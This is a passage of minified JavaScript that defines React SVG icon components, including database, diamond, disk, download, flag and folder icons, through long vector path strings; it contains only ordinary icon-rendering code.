C1553.887,1414.207,1493.179,1474.914,1418.561,1474.914z"}),(0,o.createElement)("path",{d:"M1765.979,668.543h-74.491l-237.127-647.23c-5.99-16.356-24.096-24.773-40.471-18.768L44.973,504.073 c-16.358,5.994-24.76,24.113-18.766,40.474l45.428,123.997H34.02c-17.424,0-31.547,14.123-31.547,31.546v1067.756 c0,17.429,14.123,31.547,31.547,31.547h1731.96c17.425,0,31.548-14.118,31.548-31.547V700.09 C1797.527,682.667,1783.404,668.543,1765.979,668.543z M1624.293,668.543H658.115l851.84-312.087L1624.293,668.543z M1405.972,72.641l34.923,95.313L131.221,647.777l-34.923-95.315L1405.972,72.641z M1462.596,227.196l25.653,70.019 L474.711,668.543H257.947L1462.596,227.196z M1734.434,1736.3H65.566V731.637h29.188h67.186H302.5h183.404h1161.509h67.189h19.831 v54.12v155.445V1736.3z"})),database:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1801.93,296.528c0-190.31-461.223-292.996-895.183-292.996c-433.958,0-895.176,102.686-895.176,292.996 v0.005l0,0v1210.046c0,190.315,461.218,293.004,895.176,293.004c433.96,0,895.183-102.688,895.183-293.004V296.533l0,0V296.528z M1738.992,1202.3c0,53.213-86.213,111.09-230.624,154.815c-160.26,48.529-373.921,75.252-601.621,75.252 c-227.701,0-441.355-26.723-601.614-75.252C160.723,1313.39,74.508,1255.513,74.508,1202.3v-190.62 c140.622,117.191,494.659,179.347,832.239,179.347c337.587,0,691.62-62.155,832.245-179.347V1202.3z M1738.992,898.022 c0,53.214-86.213,111.088-230.624,154.816c-160.26,48.528-373.921,75.251-601.621,75.251c-227.701,0-441.355-26.723-601.614-75.251 C160.723,1009.11,74.508,951.236,74.508,898.022V707.396C215.13,824.587,569.167,886.743,906.747,886.743 c337.587,0,691.62-62.156,832.245-179.347V898.022z M1738.992,593.739c0,53.214-86.213,111.089-230.624,154.815 c-160.26,48.529-373.921,75.252-601.621,75.252c-227.701,0-441.355-26.723-601.614-75.252 C160.723,704.828,74.508,646.953,74.508,593.739V410.186C215.13,527.377,569.167,589.533,906.747,589.533 c337.587,0,691.62-62.156,832.245-179.348V593.739z M305.133,141.718C465.392,93.193,679.046,66.47,906.747,66.47 c227.7,0,441.361,26.723,601.621,75.248c144.411,43.731,230.624,101.602,230.624,154.811c0,53.213-86.213,111.085-230.624,154.815 c-160.26,48.529-373.921,75.251-601.621,75.251c-227.701,0-441.355-26.723-601.614-75.251 c-144.41-43.73-230.625-101.603-230.625-154.815C74.508,243.32,160.723,185.449,305.133,141.718z M1508.368,1661.394 c-160.26,48.529-373.921,75.253-601.621,75.253c-227.701,0-441.355-26.724-601.614-75.253 c-144.41-43.725-230.625-101.601-230.625-154.814v-190.622c140.622,117.192,494.659,179.348,832.239,179.348 c337.587,0,691.62-62.155,832.245-179.348v190.622C1738.992,1559.793,1652.779,1617.669,1508.368,1661.394z"})),design:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1541.606,1540.146l0.009-0.008c35.598-35.594,35.598-93.52,0-129.121 c-17.24-17.236-40.178-26.745-64.569-26.745c-24.378,0-47.314,9.509-64.564,26.763c-35.588,35.584-35.588,93.51,0.009,129.104 C1448.096,1575.73,1506.014,1575.73,1541.606,1540.146z M1440.885,1511.743c-9.656-9.655-14.975-22.498-14.975-36.165 c0-13.659,5.318-26.511,14.975-36.167c9.665-9.655,22.512-14.979,36.175-14.979c13.659,0,26.497,5.323,36.161,14.979 c19.938,19.945,19.938,52.387-0.008,72.332C1493.271,1531.689,1460.831,1531.681,1440.885,1511.743z"}),(0,o.createElement)("path",{d:"M1700.934,402.736c0.021-0.026,0.047-0.043,0.068-0.065c0.044-0.043,0.083-0.091,0.127-0.134l5.504-5.505 l-0.138-0.139c81.836-87.814,80.038-225.814-5.507-311.356c-42.353-42.357-98.664-65.685-158.565-65.685 c-57.228,0-111.154,21.339-152.792,60.18l-0.134-0.134l-5.511,5.507c-0.043,0.046-0.09,0.085-0.134,0.131 c-0.021,0.021-0.039,0.045-0.061,0.069L66.371,1403.02l0.513,0.513c-7.364,4.749-12.699,12.548-13.98,21.907L9.578,1741.903 c-1.319,9.647,1.95,19.347,8.831,26.232c5.875,5.87,13.807,9.108,22.004,9.108c1.402,0,2.813-0.095,4.224-0.286l316.451-43.338 c9.365-1.276,17.163-6.617,21.912-13.98l0.512,0.513L1700.934,402.736z M1542.423,82.094c43.272,0,83.954,16.852,114.551,47.452 c55.643,55.638,62.276,142.02,19.897,204.983L1451.973,109.64C1478.482,91.724,1509.717,82.094,1542.423,82.094z M1389.497,167.919l229.113,229.112L383.512,1632.129l-86.195-86.19l991.423-991.409l-59.351-59.342l-991.41,991.418 l-83.585-83.586L1389.497,167.919z M76.804,1709.731l35.68-260.604l224.915,224.916L76.804,1709.731z"}),(0,o.createElement)("path",{d:"M506.941,804.479l56.789-56.789l-454.446-454.45l185.432-185.437l87.924,87.932l-63.792,63.783 l50.362,50.359l63.792-63.779l51.262,51.258l-63.792,63.788l50.363,50.354l63.797-63.779l51.257,51.267l-94.375,94.353 l50.376,50.363l94.362-94.362l62.502,62.498l-63.792,63.801l50.363,50.354l63.792-63.792l0.043,0.047l56.789-56.789 L323.106,22.622c-15.682-15.686-41.102-15.686-56.784,0L24.102,264.845c-15.687,15.683-15.687,41.107,0,56.789L506.941,804.479z"}),(0,o.createElement)("path",{d:"M1778.944,1478.287c-0.726-0.729-1.478-1.424-2.241-2.085l-505.282-505.273l-151.159,151.159l50.259,50.26 l94.371-94.37l428.79,428.782l-185.441,185.432l-479.045-479.041l-56.789,56.798l507.437,507.427 c15.682,15.69,41.102,15.69,56.788,0l242.234-242.213c0.021-0.034,0.048-0.052,0.079-0.086 C1794.63,1519.402,1794.63,1493.969,1778.944,1478.287z"})),diamond:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1787.623,836.804l-450.621-450.623c-0.181-0.18-0.375-0.33-0.559-0.501 c-0.568-0.542-1.137-1.079-1.744-1.581c-0.396-0.321-0.811-0.603-1.215-0.906c-0.422-0.313-0.832-0.639-1.272-0.934 c-0.448-0.299-0.915-0.563-1.378-0.836c-0.422-0.255-0.841-0.52-1.276-0.757c-0.453-0.237-0.916-0.444-1.378-0.66 c-0.476-0.229-0.942-0.463-1.43-0.665c-0.433-0.181-0.873-0.321-1.313-0.48c-0.532-0.194-1.061-0.396-1.611-0.563 c-0.418-0.128-0.845-0.22-1.269-0.326c-0.571-0.149-1.14-0.308-1.725-0.423c-0.462-0.092-0.934-0.141-1.396-0.211 c-0.555-0.084-1.101-0.185-1.66-0.238c-0.762-0.08-1.523-0.097-2.279-0.119c-0.273-0.005-0.537-0.04-0.811-0.04H485.319 c-0.36,0-0.713,0.044-1.069,0.053c-0.669,0.022-1.343,0.035-2.008,0.102c-0.607,0.062-1.197,0.167-1.792,0.26 c-0.422,0.066-0.841,0.11-1.259,0.193c-0.625,0.124-1.232,0.291-1.845,0.449c-0.383,0.097-0.771,0.18-1.149,0.294 c-0.59,0.181-1.162,0.396-1.734,0.608c-0.396,0.146-0.792,0.269-1.184,0.432c-0.537,0.224-1.056,0.479-1.58,0.735 c-0.409,0.194-0.819,0.374-1.224,0.585c-0.507,0.273-0.991,0.577-1.479,0.876c-0.392,0.237-0.792,0.458-1.17,0.713 c-0.542,0.361-1.053,0.757-1.568,1.149c-0.308,0.233-0.625,0.444-0.924,0.691c-0.814,0.669-1.594,1.369-2.337,2.113L12.375,836.804 c-0.189,0.189-0.353,0.401-0.537,0.595c-0.528,0.555-1.053,1.109-1.541,1.704c-0.348,0.422-0.651,0.867-0.973,1.298 c-0.291,0.396-0.595,0.775-0.867,1.18c-0.326,0.488-0.612,0.995-0.907,1.497c-0.225,0.383-0.471,0.757-0.683,1.153 c-0.264,0.502-0.493,1.017-0.735,1.527c-0.198,0.423-0.409,0.841-0.59,1.272c-0.031,0.07-0.07,0.141-0.101,0.211 c-0.167,0.427-0.295,0.863-0.449,1.294c-0.167,0.467-0.348,0.929-0.493,1.409c-0.154,0.51-0.269,1.026-0.396,1.541 c-0.119,0.484-0.255,0.96-0.356,1.453c-0.119,0.604-0.189,1.211-0.277,1.813c-0.053,0.414-0.137,0.823-0.176,1.242 c-0.106,1.039-0.158,2.082-0.158,3.125c0,1.043,0.052,2.086,0.158,3.125c0.04,0.422,0.124,0.828,0.18,1.246 c0.084,0.604,0.155,1.21,0.273,1.81c0.101,0.493,0.237,0.968,0.356,1.457c0.128,0.516,0.243,1.026,0.396,1.537 c0.145,0.48,0.325,0.942,0.493,1.414c0.181,0.501,0.343,1.007,0.55,1.5c0.181,0.432,0.392,0.85,0.59,1.272 c0.242,0.515,0.471,1.025,0.735,1.527c0.211,0.396,0.458,0.77,0.683,1.153c0.295,0.502,0.581,1.008,0.907,1.497 c0.272,0.405,0.577,0.784,0.867,1.18c0.321,0.431,0.625,0.876,0.973,1.298c0.488,0.594,1.013,1.149,1.541,1.703 c0.184,0.194,0.348,0.405,0.537,0.595l865.315,865.315c6.163,6.158,14.241,9.239,22.314,9.239c8.074,0,16.151-3.081,22.314-9.239 l865.306-865.315C1799.945,869.106,1799.945,849.13,1787.623,836.804z M498.394,440.05H732.87L468.645,827.564H110.866 L498.394,440.05z M990.748,440.05l264.234,387.514H545.025L809.25,440.05H990.748z M1301.613,440.05l387.515,387.514h-357.766 L1067.128,440.05H1301.613z M1263.76,890.672L900.003,1622.35L536.247,890.672H1263.76z M465.766,890.672l350.88,705.775 L110.87,890.672H465.766z M1334.242,890.672h354.886l-705.767,705.775L1334.242,890.672z"}),(0,o.createElement)("path",{d:"M900.003,284.427c17.427,0,31.554-14.126,31.554-31.554V75.567c0-17.428-14.127-31.554-31.554-31.554 c-17.428,0-31.554,14.126-31.554,31.554v177.307C868.449,270.301,882.576,284.427,900.003,284.427z"}),(0,o.createElement)("path",{d:"M1142.004,268.245c4.979,2.884,10.414,4.253,15.781,4.253c10.89,0,21.486-5.644,27.336-15.747 l88.861-153.434c8.732-15.077,3.586-34.384-11.494-43.119c-15.082-8.733-34.386-3.587-43.118,11.495l-88.86,153.434 C1121.775,240.205,1126.922,259.512,1142.004,268.245z"}),(0,o.createElement)("path",{d:"M1441.811,306.825c8.074,0,16.151-3.082,22.314-9.24l125.37-125.371c12.322-12.326,12.322-32.302,0-44.628 c-12.325-12.317-32.302-12.317-44.628,0l-125.371,125.371c-12.321,12.326-12.321,32.302,0,44.628 C1425.659,303.744,1433.737,306.825,1441.811,306.825z"}),(0,o.createElement)("path",{d:"M614.877,256.751c5.85,10.103,16.446,15.747,27.337,15.747c5.366,0,10.807-1.369,15.781-4.253 c15.081-8.733,20.228-28.041,11.494-43.118l-88.86-153.434c-8.729-15.082-28.046-20.224-43.118-11.495 c-15.082,8.734-20.228,28.042-11.494,43.119L614.877,256.751z"}),(0,o.createElement)("path",{d:"M335.882,297.585c6.163,6.158,14.241,9.24,22.314,9.24s16.152-3.082,22.314-9.24 c12.322-12.326,12.322-32.302,0-44.628L255.139,127.586c-12.326-12.317-32.302-12.317-44.627,0 c-12.322,12.326-12.322,32.302,0,44.628L335.882,297.585z"})),disk:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1216.338,1202.973H583.656c-17.222,0-31.189,13.963-31.189,31.188s13.967,31.188,31.189,31.188h632.682 c17.229,0,31.188-13.963,31.188-31.188S1233.567,1202.973,1216.338,1202.973z"}),(0,o.createElement)("path",{d:"M1216.338,1378.226H583.656c-17.222,0-31.189,13.962-31.189,31.188s13.967,31.188,31.189,31.188h632.682 c17.229,0,31.188-13.962,31.188-31.188S1233.567,1378.226,1216.338,1378.226z"}),(0,o.createElement)("path",{d:"M1216.338,1553.479H583.656c-17.222,0-31.189,13.963-31.189,31.188c0,17.227,13.967,31.189,31.189,31.189 h632.682c17.229,0,31.188-13.963,31.188-31.189C1247.526,1567.441,1233.567,1553.479,1216.338,1553.479z"}),(0,o.createElement)("path",{d:"M1776.765,382.264L1411.048,16.547c-5.848-5.848-13.784-9.133-22.051-9.133h-88.005H499.001H98.754 C52.076,7.414,14.1,45.39,14.1,92.068v1615.864c0,46.679,37.977,84.655,84.655,84.655h400.247h801.991h400.256 c46.678,0,84.654-37.977,84.654-84.655V404.319C1785.902,396.048,1782.613,388.116,1776.765,382.264z M1300.992,69.791 c12.287,0,22.277,9.994,22.277,22.277v408.423c0,12.283-9.99,22.277-22.277,22.277H499.001c-12.278,0-22.277-9.994-22.277-22.277 V92.068c0-12.283,9.999-22.277,22.277-22.277H1300.992z M499.001,1730.211c-12.278,0-22.277-9.995-22.277-22.278v-651.991 c0-12.283,9.999-22.277,22.277-22.277h801.991c12.287,0,22.277,9.994,22.277,22.277v651.991c0,12.283-9.99,22.278-22.277,22.278 H499.001z M1723.525,1707.933c0,12.283-9.999,22.278-22.277,22.278h-318.673c1.944-7.11,3.071-14.56,3.071-22.278v-651.991 c0-46.679-37.976-84.655-84.654-84.655H499.001c-46.678,0-84.654,37.977-84.654,84.655v651.991c0,7.719,1.131,15.168,3.076,22.278 H98.754c-12.288,0-22.278-9.995-22.278-22.278V92.068c0-12.283,9.99-22.277,22.278-22.277h318.668 c-1.945,7.109-3.076,14.559-3.076,22.277v408.423c0,46.678,37.977,84.654,84.654,84.654h801.991 c46.679,0,84.654-37.976,84.654-84.654V92.068c0-4.765-0.487-9.407-1.249-13.958l339.128,339.127V1707.933z"}),(0,o.createElement)("path",{d:"M1006.746,458.164h209.592c17.229,0,31.188-13.963,31.188-31.188V164.096 c0-17.226-13.959-31.188-31.188-31.188h-209.592c-17.23,0-31.188,13.962-31.188,31.188v262.879 C975.558,444.201,989.516,458.164,1006.746,458.164z M1037.935,195.285h147.215v200.502h-147.215V195.285z"})),download:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M899.996,1.402C404.51,1.402,1.403,404.513,1.403,900.003c0,495.485,403.107,898.595,898.592,898.595 c495.489,0,898.6-403.109,898.6-898.595C1798.596,404.513,1395.484,1.402,899.996,1.402z M899.996,1735.555 c-460.721,0-835.546-374.826-835.546-835.552c0-460.726,374.825-835.556,835.546-835.556c460.724,0,835.555,374.83,835.555,835.556 C1735.551,1360.729,1360.72,1735.555,899.996,1735.555z"}),(0,o.createElement)("path",{d:"M1178.01,942.664h-151.185V603.598c0-17.411-14.112-31.522-31.522-31.522H797.969 c-17.411,0-31.522,14.111-31.522,31.522v339.066H615.253c-11.896,0-22.781,6.698-28.141,17.319 c-5.361,10.624-4.283,23.36,2.779,32.929l281.383,381.16c5.946,8.056,15.356,12.805,25.362,12.805 c10.005,0,19.417-4.749,25.361-12.805l281.375-381.16c7.062-9.568,8.14-22.305,2.779-32.929 C1200.79,949.362,1189.906,942.664,1178.01,942.664z M896.636,1302.273L677.705,1005.71h120.264 c17.41,0,31.523-14.106,31.523-31.522V635.12H963.78v339.067c0,17.416,14.112,31.522,31.522,31.522h120.256L896.636,1302.273z"}),(0,o.createElement)("path",{d:"M794.556,529.751h204.15c17.411,0,31.522-14.113,31.522-31.523s-14.111-31.522-31.522-31.522h-204.15 c-17.411,0-31.523,14.112-31.523,31.522S777.145,529.751,794.556,529.751z"})),drop:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1588.221,739.806c-29.326-65.133-67.881-125.781-114.598-180.253c-0.521-0.609-1.066-1.197-1.636-1.767 L926.638,12.428c-5.896-5.894-13.888-9.204-22.221-9.204s-16.325,3.31-22.221,9.204L336.869,557.764 c-0.57,0.57-1.114,1.157-1.635,1.767c-46.734,54.489-85.298,115.146-114.616,180.275c-43.635,96.911-65.76,200.335-65.76,307.411 c0,413.309,336.251,749.56,749.56,749.56c413.308,0,749.56-336.251,749.56-749.56 C1653.977,940.141,1631.852,836.716,1588.221,739.806z M904.417,1733.932c-378.655,0-686.715-308.06-686.715-686.715 c0-98.12,20.262-192.865,60.219-281.608c26.697-59.303,61.767-114.563,104.244-164.266L904.417,79.084l522.274,522.28 c42.46,49.685,77.525,104.941,104.227,164.244c39.957,88.739,60.214,183.488,60.214,281.608 C1591.132,1425.872,1283.072,1733.932,904.417,1733.932z"}),(0,o.createElement)("path",{d:"M1400.234,1103.192c-17.354,0-31.422,14.067-31.422,31.423c0,133.133-145.486,392.252-412.182,392.252 c-17.354,0-31.422,14.068-31.422,31.423c0,17.355,14.067,31.423,31.422,31.423c135.527,0,261.212-59.93,353.896-168.75 c73.584-86.398,121.13-198.797,121.13-286.348C1431.657,1117.26,1417.59,1103.192,1400.234,1103.192z"})),favorite:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1711.338,9.595H88.67c-43.603,0-79.074,35.468-79.074,79.061v1622.683 c0,43.594,35.472,79.065,79.074,79.065h1622.667c43.594,0,79.066-35.472,79.066-79.065V88.656 C1790.404,45.063,1754.932,9.595,1711.338,9.595z M88.67,72.128h1622.667c9.117,0,16.532,7.416,16.532,16.528v194.047H72.13V88.656 C72.13,79.544,79.545,72.128,88.67,72.128z M1711.338,1727.871H88.67c-9.125,0-16.541-7.415-16.541-16.532V345.236h1655.74 v1366.103C1727.87,1720.456,1720.455,1727.871,1711.338,1727.871z"}),(0,o.createElement)("path",{d:"M207.43,224.637c27.751,0,50.25-22.5,50.25-50.25c0-27.756-22.499-50.25-50.25-50.25 s-50.25,22.495-50.25,50.25C157.18,202.137,179.679,224.637,207.43,224.637z"}),(0,o.createElement)("path",{d:"M365.997,224.637c27.751,0,50.25-22.5,50.25-50.25c0-27.756-22.499-50.25-50.25-50.25 s-50.25,22.495-50.25,50.25C315.747,202.137,338.246,224.637,365.997,224.637z"}),(0,o.createElement)("path",{d:"M524.563,224.637c27.751,0,50.25-22.5,50.25-50.25c0-27.756-22.5-50.25-50.25-50.25 s-50.25,22.495-50.25,50.25C474.313,202.137,496.813,224.637,524.563,224.637z"}),(0,o.createElement)("path",{d:"M1162.234,1090.907l216.864-211.397c8.523-8.307,11.59-20.732,7.913-32.052 c-3.678-11.319-13.461-19.568-25.238-21.28l-299.703-43.55L928.039,511.056c-5.27-10.672-16.14-17.429-28.039-17.429 c-11.901,0-22.77,6.757-28.037,17.429L737.922,782.628l-299.704,43.55c-11.777,1.712-21.561,9.96-25.239,21.28 c-3.679,11.319-0.61,23.745,7.911,32.052l216.867,211.397l-51.192,298.5c-2.011,11.733,2.812,23.585,12.44,30.582 c9.629,6.996,22.399,7.917,32.926,2.381L900,1281.431l268.066,140.939c4.575,2.404,9.57,3.59,14.547,3.59 c6.482,0,12.938-2.015,18.381-5.971c9.632-6.997,14.451-18.853,12.441-30.582L1162.234,1090.907z M914.552,1218.43 c-9.108-4.789-19.993-4.789-29.101,0l-226.542,119.108l43.262-252.258c1.738-10.146-1.623-20.492-8.992-27.677L509.905,878.952 l253.276-36.805c10.184-1.48,18.986-7.875,23.54-17.103L900,595.541l113.268,229.504c4.555,9.228,13.361,15.623,23.542,17.103 l253.278,36.805l-183.273,178.651c-7.371,7.185-10.734,17.535-8.994,27.677l43.271,252.254L914.552,1218.43z"}),(0,o.createElement)("path",{d:"M900,1416.294c-17.269,0-31.267,13.998-31.267,31.267v106.119c0,17.269,13.998,31.267,31.267,31.267 c17.27,0,31.267-13.998,31.267-31.267v-106.119C931.267,1430.292,917.27,1416.294,900,1416.294z"}),(0,o.createElement)("path",{d:"M1424.206,1150.112l-100.923-32.802c-16.453-5.344-34.072,3.651-39.402,20.069 c-5.339,16.423,3.646,34.063,20.07,39.402l100.923,32.802c3.214,1.043,6.469,1.54,9.671,1.54c13.182,0,25.438-8.401,29.73-21.609 C1449.615,1173.092,1440.629,1155.452,1424.206,1150.112z"}),(0,o.createElement)("path",{d:"M1137.244,686.108c5.549,4.033,11.979,5.974,18.352,5.974c9.67,0,19.201-4.469,25.32-12.89l62.381-85.853 c10.15-13.969,7.054-33.524-6.918-43.674c-13.967-10.15-33.518-7.053-43.672,6.916l-62.381,85.853 C1120.176,656.403,1123.272,675.958,1137.244,686.108z"}),(0,o.createElement)("path",{d:"M619.075,679.19c6.117,8.421,15.65,12.892,25.321,12.892c6.37,0,12.802-1.941,18.351-5.974 c13.972-10.148,17.068-29.703,6.918-43.672l-62.372-85.853c-10.148-13.965-29.703-17.071-43.672-6.918 c-13.972,10.148-17.068,29.703-6.918,43.672L619.075,679.19z"}),(0,o.createElement)("path",{d:"M476.73,1117.311l-100.933,32.793c-16.423,5.335-25.41,22.975-20.073,39.397 c4.292,13.213,16.549,21.614,29.729,21.614c3.202,0,6.458-0.497,9.669-1.54l100.932-32.793 c16.423-5.335,25.411-22.975,20.074-39.397S493.153,1111.976,476.73,1117.311z"})),fileDownload:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M637.655,1373.291c-17.354,0-31.421-14.067-31.421-31.422V834.407c0-17.355,14.067-31.422,31.421-31.422 c17.355,0,31.422,14.067,31.422,31.422v507.462C669.077,1359.224,655.01,1373.291,637.655,1373.291z"}),(0,o.createElement)("path",{d:"M633.451,1373.291c-8.041,0-16.081-3.069-22.218-9.2l-180.151-180.139 c-12.27-12.27-12.272-32.167,0-44.437c12.27-12.273,32.162-12.27,44.436-0.005l180.151,180.139 c12.27,12.27,12.272,32.167,0,44.437C649.535,1370.222,641.493,1373.291,633.451,1373.291z"}),(0,o.createElement)("path",{d:"M641.859,1373.291c-8.042,0-16.083-3.069-22.218-9.205c-12.272-12.27-12.27-32.167,0-44.437 l180.151-180.139c12.274-12.265,32.171-12.265,44.436,0.005c12.272,12.27,12.27,32.167,0,44.437l-180.151,180.139 C657.942,1370.222,649.898,1373.291,641.859,1373.291z"}),(0,o.createElement)("path",{d:"M1649.069,3.258H626.017c-43.336,0-78.584,35.445-78.584,79.022v180.463H150.931 c-43.34,0-78.597,35.454-78.597,79.026v1138.41v20.796v216.749c0,43.576,35.257,79.018,78.597,79.018h1023.053 c43.33,0,78.58-35.441,78.58-79.018v-51.06h396.518c43.332,0,78.584-35.446,78.584-79.022v-474.521V556.8V82.28 C1727.666,38.704,1692.404,3.258,1649.069,3.258z M1194.333,1717.725c0,11.463-9.123,20.786-20.349,20.786H150.931 c-11.226,0-20.371-9.323-20.371-20.786v-216.749v-20.796V341.77c0-11.458,9.145-20.795,20.371-20.795h396.502h58.231h358.975 v178.622c0,16.166,13.072,29.264,29.199,29.264h200.495v951.32v20.796v107.458v58.231V1717.725z M1023.049,470.322V357.77 l124.375,112.552H1023.049z M1669.436,1113.122v474.521c0,11.463-9.123,20.791-20.354,20.791h-396.518v-107.458v-20.796V501.2 v-3.011c-0.418-8.702-4.578-16.421-10.941-21.51l-47.29-42.784l-124.778-112.92l-56.146-50.796 c-5.023-4.542-11.335-7.041-17.814-7.435h-3.313H605.664V82.28c0-11.467,9.127-20.791,20.353-20.791h1023.052 c11.228,0,20.366,9.324,20.366,20.791V556.8V1113.122z"})),filter:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1763.83,1.676H36.17c-17.395,0-31.494,14.1-31.494,31.494v394.424c0,0.563,0.058,1.111,0.084,1.665 c0.022,0.417,0.026,0.839,0.062,1.252c0.123,1.327,0.334,2.619,0.615,3.889c0.07,0.334,0.167,0.655,0.25,0.984 c0.285,1.112,0.619,2.193,1.014,3.252c0.106,0.268,0.194,0.544,0.299,0.813c0.515,1.256,1.107,2.469,1.766,3.633 c0.159,0.286,0.339,0.558,0.51,0.84c0.62,1.019,1.292,2.003,2.021,2.943c0.149,0.198,0.286,0.4,0.439,0.589 c0.87,1.072,1.828,2.065,2.83,3.014c0.114,0.115,0.211,0.246,0.334,0.356l708.13,647.886v668.12 c0,11.546,6.327,22.165,16.468,27.676c4.701,2.553,9.868,3.816,15.026,3.816c5.984,0,11.959-1.703,17.162-5.082l290.939-188.963 c8.946-5.809,14.342-15.747,14.342-26.411v-485.171l693.233-634.253c14.341-2.944,25.123-15.637,25.123-30.848V33.17 C1795.324,15.775,1781.229,1.676,1763.83,1.676z M1732.337,64.664v331.428H67.664V64.664H1732.337z M1024.217,1055.591 c-6.52,5.962-10.238,14.394-10.238,23.233v481.942l-227.96,148.054v-623.981c0-8.839-3.708-17.271-10.229-23.233L117.247,459.088 h1558.938L1024.217,1055.591z"})),flag:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1099.021,1358.872c-24.524-10.022-50.942-18.95-78.808-26.835l-51.576,51.575 c152,36.272,245.715,100.936,245.715,161.021c0,89.873-209.631,190.014-510.447,190.014 c-300.812,0-510.448-100.141-510.448-190.014c0-60.081,93.715-124.748,245.711-161.021l-51.575-51.575 c-27.863,7.885-54.28,16.813-78.796,26.835c-114.981,46.993-178.304,112.964-178.304,185.761s63.323,138.769,178.304,185.762 c106.048,43.344,246.366,67.214,395.107,67.214c148.746,0,289.068-23.87,395.116-67.214 c114.977-46.993,178.294-112.965,178.294-185.762S1213.997,1405.865,1099.021,1358.872z"}),(0,o.createElement)("path",{d:"M1646.857,537.94L735.386,271.5v-66.372c41.896-13.364,72.331-52.65,72.331-98.919 c0-57.245-46.572-103.816-103.813-103.816S600.092,48.964,600.092,106.208c0,46.269,30.437,85.555,72.332,98.919v1359.694 c0,17.389,14.094,31.482,31.481,31.482c17.388,0,31.481-14.094,31.481-31.482V864.814l911.472-266.441 c13.422-3.922,22.648-16.232,22.648-30.216C1669.506,554.173,1660.279,541.862,1646.857,537.94z M703.904,65.354 c22.526,0,40.85,18.328,40.85,40.854s-18.323,40.849-40.85,40.849s-40.849-18.323-40.849-40.849S681.378,65.354,703.904,65.354z M735.39,799.217V337.098l790.431,231.06L735.39,799.217z"})),folder:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1759.255,188.518H938.75L757.06,18.2c-5.796-5.437-13.448-8.461-21.396-8.461H40.745 c-17.28,0-31.287,14.006-31.287,31.286v410.815v1315.872c0,17.284,14.006,31.287,31.287,31.287h1718.51 c17.28,0,31.287-14.003,31.287-31.287V451.841V219.804C1790.542,202.524,1776.535,188.518,1759.255,188.518z M72.031,72.312h651.264 l181.689,170.32c5.797,5.434,13.448,8.459,21.396,8.459h801.588v169.464H72.031V72.312z M1727.969,1736.427H72.031V483.127h1655.938 V1736.427z"})),folders:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M404.006,1798.767H88.317c-46.674,0-84.646-37.972-84.646-84.646V85.879 c0-46.674,37.972-84.646,84.646-84.646h315.688c46.669,0,84.637,37.972,84.637,84.646v1628.242 C488.643,1760.795,450.675,1798.767,404.006,1798.767z M88.317,64.304c-11.896,0-21.575,9.679-21.575,21.575v1628.242 c0,11.896,9.679,21.574,21.575,21.574h315.688c11.892,0,21.566-9.678,21.566-21.574V85.879c0-11.896-9.674-21.575-21.566-21.575 H88.317z"}),(0,o.createElement)("path",{d:"M246.157,1623.078c-69.556,0-126.142-56.586-126.142-126.141c0-69.557,56.586-126.143,126.142-126.143 s126.142,56.586,126.142,126.143C372.299,1566.492,315.713,1623.078,246.157,1623.078z M246.157,1433.866 c-34.778,0-63.07,28.293-63.07,63.071c0,34.777,28.292,63.07,63.07,63.07s63.071-28.293,63.071-63.07 C309.228,1462.159,280.935,1433.866,246.157,1433.866z"}),(0,o.createElement)("path",{d:"M335.149,726.573H157.165c-17.418,0-31.535-14.118-31.535-31.535c0-17.418,14.117-31.536,31.535-31.536 h177.984c17.418,0,31.536,14.118,31.536,31.536C366.685,712.455,352.567,726.573,335.149,726.573z"}),(0,o.createElement)("path",{d:"M335.149,591.422H157.165c-17.418,0-31.535-14.118-31.535-31.536s14.117-31.536,31.535-31.536h177.984 c17.418,0,31.536,14.118,31.536,31.536S352.567,591.422,335.149,591.422z"}),(0,o.createElement)("path",{d:"M335.149,456.27H157.165c-17.418,0-31.535-14.118-31.535-31.536c0-17.417,14.117-31.535,31.535-31.535 h177.984c17.418,0,31.536,14.118,31.536,31.535C366.685,442.152,352.567,456.27,335.149,456.27z"}),(0,o.createElement)("path",{d:"M335.149,321.119H157.165c-17.418,0-31.535-14.118-31.535-31.536c0-17.417,14.117-31.535,31.535-31.535 h177.984c17.418,0,31.536,14.118,31.536,31.535C366.685,307.001,352.567,321.119,335.149,321.119z"}),(0,o.createElement)("path",{d:"M1057.852,1798.767h-315.69c-46.674,0-84.646-37.972-84.646-84.646V85.879 c0-46.674,37.972-84.646,84.646-84.646h315.69c46.67,0,84.637,37.972,84.637,84.646v1628.242 C1142.488,1760.795,1104.521,1798.767,1057.852,1798.767z M742.162,64.304c-11.896,0-21.575,9.679-21.575,21.575v1628.242 c0,11.896,9.679,21.574,21.575,21.574h315.69c11.893,0,21.566-9.678,21.566-21.574V85.879c0-11.896-9.674-21.575-21.566-21.575 H742.162z"}),(0,o.createElement)("path",{d:"M899.997,1623.078c-69.556,0-126.142-56.586-126.142-126.141c0-69.557,56.586-126.143,126.142-126.143 